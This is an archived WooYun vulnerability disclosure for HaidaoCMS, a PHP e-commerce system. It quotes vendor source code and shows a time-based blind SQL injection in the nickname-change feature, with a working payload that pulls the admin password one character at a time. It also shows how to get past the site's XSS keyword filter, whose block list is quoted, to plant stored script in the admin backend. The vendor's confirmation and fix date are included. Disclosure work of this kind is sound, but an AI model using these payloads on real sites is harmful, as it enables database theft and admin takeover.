乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-04-27: 细节已通知厂商并且等待厂商处理中 2015-04-27: 厂商已经确认,细节仅向厂商公开 2015-06-21: 细节向核心白帽子及相关领域专家公开 2015-07-01: 细节向普通白帽子公开 2015-07-11: 细节向实习白帽子公开 2015-07-26: 厂商已经修复漏洞并主动公开,细节向公众公开
rt
haidaocms最新版注入漏洞文件:/appliaction/Controller/User/UserController.class.php49-70行
public function update_name(){ $user = getUserInfo($this->userid); $name = I('name'); if (empty($name)) { showmessage('昵称不能为空','',1); } //验证修改的昵称是否使用 $username=model('User')->unique_name($name,$user['id']); if (!$username) { showmessage('昵称已被使用!','',1); } $result=model('User')->where(array('id'=>$user['id']))->save(array('username'=>$name)); if ($result) { showmessage('修改成功','',1); }else{ showmessage('修改失败','',1); } }
获取name参数看下I函数
function I($name,$default='',$filter=null) { if(strpos($name,'.')) { // 指定参数来源 list($method,$name) = explode('.',$name,2); }else{ // 默认为自动判断 $method = 'param'; } switch(strtolower($method)) { case 'get' : $input =& $_GET;break; case 'post' : $input =& $_POST;break; case 'put' : parse_str(file_get_contents('php://input'), $input);break; case 'param' : switch($_SERVER['REQUEST_METHOD']) { case 'POST': $input = $_POST; break; case 'PUT': parse_str(file_get_contents('php://input'), $input); break; default: $input = $_GET; } if(C('VAR_URL_PARAMS') && isset($_GET[C('VAR_URL_PARAMS')])){ $input = array_merge($input,$_GET[C('VAR_URL_PARAMS')]); } break; case 'request' : $input =& $_REQUEST; break; case 'session' : $input =& $_SESSION; break; case 'cookie' : $input =& $_COOKIE; break; case 'server' : $input =& $_SERVER; break; case 'globals' : $input =& $GLOBALS; break; default: return NULL; } // 全局过滤 // array_walk_recursive($input,'filter_exp'); if(C('VAR_FILTERS')) { $_filters = explode(',',C('VAR_FILTERS')); foreach($_filters as $_filter){ // 全局参数过滤 array_walk_recursive($input,$_filter); } } if(empty($name)) { // 获取全部变量 $data = $input; $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { $filters = explode(',',$filters); foreach($filters as $filter){ $data = array_map($filter,$data); // 参数过滤 } } }elseif(isset($input[$name])) { // 取值操作 $data = $input[$name]; $filters = isset($filter)?$filter:C('DEFAULT_FILTER'); if($filters) { $filters = explode(',',$filters); foreach($filters as $filter){ if(function_exists($filter)) { $data = is_array($data)?array_map($filter,$data):$filter($data); // 参数过滤 }else{ $data = filter_var($data,is_int($filter)?$filter:filter_id($filter)); if(false === $data) { return isset($default)?$default:NULL; } } } } }else{ // 变量默认值 $data = isset($default)?$default:NULL; } return $data;}
并没有对string进行任何过滤unique_name()函数
function unique_name($user_name, $user_id = 0) { $conditions = "username = '" . $user_name . "'"; $user_id && $conditions .= " AND id <> '" . $user_id . "'"; return count($this->where($conditions)->find()) == 0; }
单引号闭合直接进入查询证明:http://127.0.0.1/haidao/index.php?m=user&c=user&a=userinfo更改昵称中插入
') or if(ascii(mid((select password from hd_admin_user),1,1))=57,sleep(1),1)#
成功延迟
存储xss直打后台
看下代码:
public function add(){ if (IS_POST) { $_GET['user_id'] = is_login(); $_GET['user_name'] = 0; if ($_GET['user_id']) { $_GET['user_name'] = cookie('_uname'); } // 过滤xss攻击; $_GET['question'] = remove_xss($_GET['question']); $result = $this->db->update($_GET); if (!$result) { showmessage('商品咨询发表失败'); } else { showmessage('商品咨询完成,请等待管理员审核!', 1000,1); } } else { showmessage('请勿非法提交'); } } }
仅用remove_xss函数过滤
function remove_xss($string) { $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string); $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $parm = array_merge($parm1, $parm2); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0([9][a][b]);?)?'; $pattern .= '|(�([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $parm[$i][$j]; } $pattern .= '/i'; $string = preg_replace($pattern, '', $string); } return $string;}
script中间加个script 即可绕过
注入的话 别用I获取xss的话 你们的防护代码跟74cms很像 可以看下他们的过滤方式
危害等级:中
漏洞Rank:10
确认时间:2015-04-27 16:19
感谢对海盗电商的关注,我们会尽快修正此问题。
2015-05-14:已于2015.05.08日发布版本修复